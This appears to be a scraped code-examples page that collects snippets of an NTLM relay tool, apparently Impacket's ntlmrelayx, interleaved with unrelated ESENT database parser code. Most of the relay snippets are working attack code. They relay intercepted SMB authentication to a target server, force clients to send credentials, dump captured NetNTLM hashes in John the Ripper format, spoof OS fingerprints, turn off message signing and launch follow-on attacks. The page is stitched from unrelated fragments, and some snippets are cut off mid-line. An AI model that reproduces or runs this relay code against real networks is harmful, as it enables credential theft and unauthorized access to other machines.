            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = connData['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                LOG.debug("Exception:", exc_info=True)
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

            #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1, 0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = connData['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = (
                    '%s/%s' %
                    (authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le'))
                ).upper()

                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = securityBlob
                    securityBlob = respToken2.getData()

                clientResponse, errorCode = self.do_ntlm_auth(
                    client, token, connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error(
                    "Authenticating against %s://%s as %s\\%s FAILED" %
                    (self.target.scheme, self.target.netloc,
                     authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le')))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.critical(
                    "Authenticating against %s://%s as %s\\%s SUCCEED" %
                    (self.target.scheme, self.target.netloc,
                     authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le')))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    connData['CHALLENGE_MESSAGE']['challenge'],
                    authenticateMessage['user_name'],
                    authenticateMessage['domain_name'],
                    authenticateMessage['lanman'], authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = b'\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Example #42
0
    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        #blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        #blob['MechToken'] = negotiateMessage

        #sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters']['SecurityBlobLength'] = len(
            negotiateMessage)
        sessionSetup['Parameters'].getData()
        #sessionSetup['Data']['SecurityBlob'] = blob.getData()
        sessionSetup['Data']['SecurityBlob'] = negotiateMessage

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                sessionResponse['Parameters'])
            sessionData = SMBSessionSetupAndX_Extended_Response_Data(
                flags=smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters[
                'SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            #return respToken['ResponseToken']
            return sessionData['SecurityBlob']
Example #43
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = connData['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client, token)
                except Exception:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = challengeMessage.getData()

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = connData['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = b'\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff

                    LOG.error(
                        "Authenticating against %s://%s as %s\\%s FAILED" %
                        (self.target.scheme, self.target.netloc,
                         authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le')))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.critical(
                        "Authenticating against %s://%s as %s\\%s SUCCEED" %
                        (self.target.scheme, self.target.netloc,
                         authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le')))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True,
                                                   self.authUser)

                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = b'\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = connData['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = b'\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                LOG.critical(
                    "Authenticating against %s://%s as %s\\%s SUCCEED" %
                    (self.target.scheme, self.target.netloc,
                     sessionSetupData['PrimaryDomain'],
                     sessionSetupData['Account']))

                self.authUser = ('%s/%s' %
                                 (sessionSetupData['PrimaryDomain'],
                                  sessionSetupData['Account'])).upper()

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
Example #44
0
    def dump(self):
        baseOffset = len(self.record)
        self.record.dump()
        tags = self.data[-4 * self.record['FirstAvailablePageTag']:]

        print "FLAGS: "
        self.printFlags()

        print

        for i in range(self.record['FirstAvailablePageTag']):
            tag = tags[-4:]
            if self.__DBHeader['Version'] == 0x620 and self.__DBHeader[
                    'FileFormatRevision'] > 11 and self.__DBHeader[
                        'PageSize'] > 8192:
                valueSize = unpack('<H', tag[:2])[0] & 0x7fff
                valueOffset = unpack('<H', tag[2:])[0] & 0x7fff
                hexdump((self.data[baseOffset + valueOffset:][:6]))
                pageFlags = ord(self.data[baseOffset + valueOffset:][1]) >> 5
                #print "TAG FLAG: 0x%x " % (unpack('<L', self.data[baseOffset+valueOffset:][:4]) ) >> 5
                #print "TAG FLAG: 0x " , ord(self.data[baseOffset+valueOffset:][0])
            else:
                valueSize = unpack('<H', tag[:2])[0] & 0x1fff
                pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13
                valueOffset = unpack('<H', tag[2:])[0] & 0x1fff

            print "TAG %-8d offset:0x%-6x flags:0x%-4x valueSize:0x%x" % (
                i, valueOffset, pageFlags, valueSize)
            #hexdump(self.getTag(i)[1])
            tags = tags[:-4]

        if self.record['PageFlags'] & FLAGS_ROOT > 0:
            rootHeader = ESENT_ROOT_HEADER(self.getTag(0)[1])
            rootHeader.dump()
        elif self.record['PageFlags'] & FLAGS_LEAF == 0:
            # Branch Header
            flags, data = self.getTag(0)
            branchHeader = ESENT_BRANCH_HEADER(data)
            branchHeader.dump()
        else:
            # Leaf Header
            flags, data = self.getTag(0)
            if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
                # Space Tree
                spaceTreeHeader = ESENT_SPACE_TREE_HEADER(data)
                spaceTreeHeader.dump()
            else:
                leafHeader = ESENT_LEAF_HEADER(data)
                leafHeader.dump()

        # Print the leaf/branch tags
        for tagNum in range(1, self.record['FirstAvailablePageTag']):
            flags, data = self.getTag(tagNum)
            if self.record['PageFlags'] & FLAGS_LEAF == 0:
                # Branch page
                branchEntry = ESENT_BRANCH_ENTRY(flags, data)
                branchEntry.dump()
            elif self.record['PageFlags'] & FLAGS_LEAF > 0:
                # Leaf page
                if self.record['PageFlags'] & FLAGS_SPACE_TREE > 0:
                    # Space Tree
                    spaceTreeEntry = ESENT_SPACE_TREE_ENTRY(data)
                    #spaceTreeEntry.dump()

                elif self.record['PageFlags'] & FLAGS_INDEX > 0:
                    # Index Entry
                    indexEntry = ESENT_INDEX_ENTRY(data)
                    #indexEntry.dump()
                elif self.record['PageFlags'] & FLAGS_LONG_VALUE > 0:
                    # Long Page Value
                    LOG.error('Long value still not supported')
                    raise
                else:
                    # Table Value
                    leafEntry = ESENT_LEAF_ENTRY(flags, data)
                    dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(
                        leafEntry['EntryData'])
                    dataDefinitionHeader.dump()
                    catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(
                        leafEntry['EntryData'][len(dataDefinitionHeader):])
                    catalogEntry.dump()
                    hexdump(leafEntry['EntryData'])
Example #45
0
 def run(self):
     LOG.info("Setting up SMB Server")
     self._start()
Example #46
0
    def __tagToRecord(self, cursor, tag):
        # So my brain doesn't forget, the data record is composed of:
        # Header
        # Fixed Size Data (ID < 127)
        #     The easiest to parse. Their size is fixed in the record. You can get its size
        #     from the Column Record, field SpaceUsage
        # Variable Size Data (127 < ID < 255)
        #     At VariableSizeOffset you get an array of two bytes per variable entry, pointing
        #     to the length of the value. Values start at:
        #                numEntries = LastVariableDataType - 127
        #                VariableSizeOffset + numEntries * 2 (bytes)
        # Tagged Data ( > 255 )
        #     After the Variable Size Value, there's more data for the tagged values.
        #     Right at the beginning there's another array (taggedItems), pointing to the
        #     values, size.
        #
        # The interesting thing about this DB records is there's no need for all the columns to be there, hence
        # saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If
        # not, the column's empty.
        #
        # There are a lot of caveats in the code, so take your time to explore it.
        #
        # ToDo: Better complete this description
        #

        record = OrderedDict()
        taggedItems = OrderedDict()
        taggedItemsParsed = False

        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag)
        #dataDefinitionHeader.dump()
        variableDataBytesProcessed = (
            dataDefinitionHeader['LastVariableDataType'] - 127) * 2
        prevItemLen = 0
        tagLen = len(tag)
        fixedSizeOffset = len(dataDefinitionHeader)
        variableSizeOffset = dataDefinitionHeader['VariableSizeOffset']

        columns = cursor['TableData']['Columns']

        for column in columns.keys():
            columnRecord = columns[column]['Record']
            #columnRecord.dump()
            if columnRecord['Identifier'] <= dataDefinitionHeader[
                    'LastFixedSize']:
                # Fixed Size column data type, still available data
                record[column] = tag[
                    fixedSizeOffset:][:columnRecord['SpaceUsage']]
                fixedSizeOffset += columnRecord['SpaceUsage']

            elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader[
                    'LastVariableDataType']:
                # Variable data type
                index = columnRecord['Identifier'] - 127 - 1
                itemLen = unpack('<H',
                                 tag[variableSizeOffset + index * 2:][:2])[0]

                if itemLen & 0x8000:
                    # Empty item
                    itemLen = prevItemLen
                    record[column] = None
                else:
                    itemValue = tag[variableSizeOffset +
                                    variableDataBytesProcessed:][:itemLen -
                                                                 prevItemLen]
                    record[column] = itemValue

                #if columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:
                variableDataBytesProcessed += itemLen - prevItemLen

                prevItemLen = itemLen

            elif columnRecord['Identifier'] > 255:
                # Have we parsed the tagged items already?
                if taggedItemsParsed is False and (
                        variableDataBytesProcessed +
                        variableSizeOffset) < tagLen:
                    index = variableDataBytesProcessed + variableSizeOffset
                    #hexdump(tag[index:])
                    endOfVS = self.__pageSize
                    firstOffsetTag = (
                        unpack('<H', tag[index + 2:][:2])[0] & 0x3fff
                    ) + variableDataBytesProcessed + variableSizeOffset
                    while True:
                        taggedIdentifier = unpack('<H', tag[index:][:2])[0]
                        index += 2
                        taggedOffset = (unpack('<H', tag[index:][:2])[0]
                                        & 0x3fff)
                        # As of Windows 7 and later ( version 0x620 revision 0x11) the
                        # tagged data type flags are always present
                        if self.__DBHeader['Version'] == 0x620 and self.__DBHeader[
                                'FileFormatRevision'] >= 17 and self.__DBHeader[
                                    'PageSize'] > 8192:
                            flagsPresent = 1
                        else:
                            flagsPresent = (unpack('<H', tag[index:][:2])[0]
                                            & 0x4000)
                        index += 2
                        if taggedOffset < endOfVS:
                            endOfVS = taggedOffset
                        taggedItems[taggedIdentifier] = (taggedOffset, tagLen,
                                                         flagsPresent)
                        #print "ID: %d, Offset:%d, firstOffset:%d, index:%d, flag: 0x%x" % (taggedIdentifier, taggedOffset,firstOffsetTag,index, flagsPresent)
                        if index >= firstOffsetTag:
                            # We reached the end of the variable size array
                            break

                    # Calculate length of variable items
                    # Ugly.. should be redone
                    prevKey = taggedItems.keys()[0]
                    for i in range(1, len(taggedItems)):
                        offset0, length, flags = taggedItems[prevKey]
                        offset, _, _ = taggedItems.items()[i][1]
                        taggedItems[prevKey] = (offset0, offset - offset0,
                                                flags)
                        #print "ID: %d, Offset: %d, Len: %d, flags: %d" % (prevKey, offset0, offset-offset0, flags)
                        prevKey = taggedItems.keys()[i]
                    taggedItemsParsed = True

                # Tagged data type
                if taggedItems.has_key(columnRecord['Identifier']):
                    offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[
                        columnRecord['Identifier']][0]
                    itemSize = taggedItems[columnRecord['Identifier']][1]
                    # If item have flags, we should skip them
                    if taggedItems[columnRecord['Identifier']][2] > 0:
                        itemFlag = ord(tag[offsetItem:offsetItem + 1])
                        offsetItem += 1
                        itemSize -= 1
                    else:
                        itemFlag = 0

                    #print "ID: %d, itemFlag: 0x%x" %( columnRecord['Identifier'], itemFlag)
                    if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED):
                        LOG.error('Unsupported tag column: %s, flag:0x%x' %
                                  (column, itemFlag))
                        record[column] = None
                    elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE:
                        # ToDo: Parse multi-values properly
                        LOG.debug(
                            'Multivalue detected in column %s, returning raw results'
                            % (column))
                        record[column] = (hexlify(
                            tag[offsetItem:][:itemSize]), )
                    else:
                        record[column] = tag[offsetItem:][:itemSize]

                else:
                    record[column] = None
            else:
                record[column] = None

            # If we understand the data type, we unpack it and cast it accordingly
            # otherwise, we just encode it in hex
            if type(record[column]) is tuple:
                # A multi value data, we won't decode it, just leave it this way
                record[column] = record[column][0]
            elif columnRecord['ColumnType'] == JET_coltypText or columnRecord[
                    'ColumnType'] == JET_coltypLongText:
                # Let's handle strings
                if record[column] is not None:
                    if columnRecord['CodePage'] not in StringCodePages:
                        LOG.error('Unknown codepage 0x%x' %
                                  columnRecord['CodePage'])
                        raise
                    stringDecoder = StringCodePages[columnRecord['CodePage']]

                    record[column] = record[column].decode(stringDecoder)

            else:
                unpackData = ColumnTypeSize[columnRecord['ColumnType']]
                if record[column] is not None:
                    if unpackData is None:
                        record[column] = hexlify(record[column])
                    else:
                        unpackStr = unpackData[1]
                        unpackSize = unpackData[0]
                        record[column] = unpack(unpackStr, record[column])[0]

        return record
Example #47
0
    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except Exception as e:
            if not self.serverConfig.smb2support:
                LOG.error(
                    'SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                )
            else:
                LOG.error('SMBClient error: Connection was reset')
            return False
        if packet[0:1] == b'\xfe':
            preferredDialect = None
            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
            if self.serverConfig.remove_target:
                preferredDialect = SMB2_DIALECT_21
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet,
                               preferredDialect=preferredDialect)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True
Example #48
0
                try:
                    data = self.__connSocket.recv(8192)
                    if data == '':
                        break
                    s.sendall(data)
                    data = s.recv(8192)
                    self.__connSocket.sendall(data)
                except Exception, e:
                    if LOG.level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    LOG.error('SOCKS: ', str(e))

        if self.__socksServer.socksPlugins.has_key(self.targetPort):
            LOG.debug('Handler for port %s found %s' %
                      (self.targetPort,
                       self.__socksServer.socksPlugins[self.targetPort]))
            relay = self.__socksServer.socksPlugins[self.targetPort](
                self.targetHost, self.targetPort, self.__connSocket,
                self.__socksServer.activeRelays[self.targetHost][
                    self.targetPort])

            try:
                relay.initConnection()

                # Let's answer back saying we've got the connection. Data is fake
                if self.__socksVersion == 5:
                    reply = SOCKS5_REPLY()
                    reply['REP'] = replyField.SUCCEEDED.value
                    addr, port = self.__connSocket.getsockname()
                    reply['PAYLOAD'] = socket.inet_aton(addr) + pack(
Example #49
0
    def negotiateSession(self, preferredDialect=None, negSessionResponse=None):
        # We DON'T want to sign
        self._Connection['ClientSecurityMode'] = 0

        if self.RequireMessageSigning is True:
            LOG.error(
                'Signing is required, attack won\'t work unless using -remove-target / --remove-mic'
            )
            return

        self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
        currentDialect = SMB2_DIALECT_WILDCARD

        # Do we have a negSessionPacket already?
        if negSessionResponse is not None:
            # Yes, let's store the dialect answered back
            negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
            currentDialect = negResp['DialectRevision']

        if currentDialect == SMB2_DIALECT_WILDCARD:
            # Still don't know the chosen dialect, let's send our options

            packet = self.SMB_PACKET()
            packet['Command'] = SMB2_NEGOTIATE
            negSession = SMB2Negotiate()

            negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
            negSession['Capabilities'] = self._Connection['Capabilities']
            negSession['ClientGuid'] = self.ClientGuid
            if preferredDialect is not None:
                negSession['Dialects'] = [preferredDialect]
            else:
                negSession['Dialects'] = [
                    SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30
                ]
            negSession['DialectCount'] = len(negSession['Dialects'])
            packet['Data'] = negSession

            packetID = self.sendSMB(packet)
            ans = self.recvSMB(packetID)
            if ans.isValidAnswer(STATUS_SUCCESS):
                negResp = SMB2Negotiate_Response(ans['Data'])

        self._Connection['MaxTransactSize'] = min(0x100000,
                                                  negResp['MaxTransactSize'])
        self._Connection['MaxReadSize'] = min(0x100000, negResp['MaxReadSize'])
        self._Connection['MaxWriteSize'] = min(0x100000,
                                               negResp['MaxWriteSize'])
        self._Connection['ServerGuid'] = negResp['ServerGuid']
        self._Connection['GSSNegotiateToken'] = negResp['Buffer']
        self._Connection['Dialect'] = negResp['DialectRevision']
        if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED
            ) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
            LOG.error(
                'Signing is required, attack won\'t work unless using -remove-target / --remove-mic'
            )
            return
        if (negResp['Capabilities']
                & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
            self._Connection['SupportsFileLeasing'] = True
        if (negResp['Capabilities']
                & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
            self._Connection['SupportsMultiCredit'] = True

        if self._Connection['Dialect'] == SMB2_DIALECT_30:
            # Switching to the right packet format
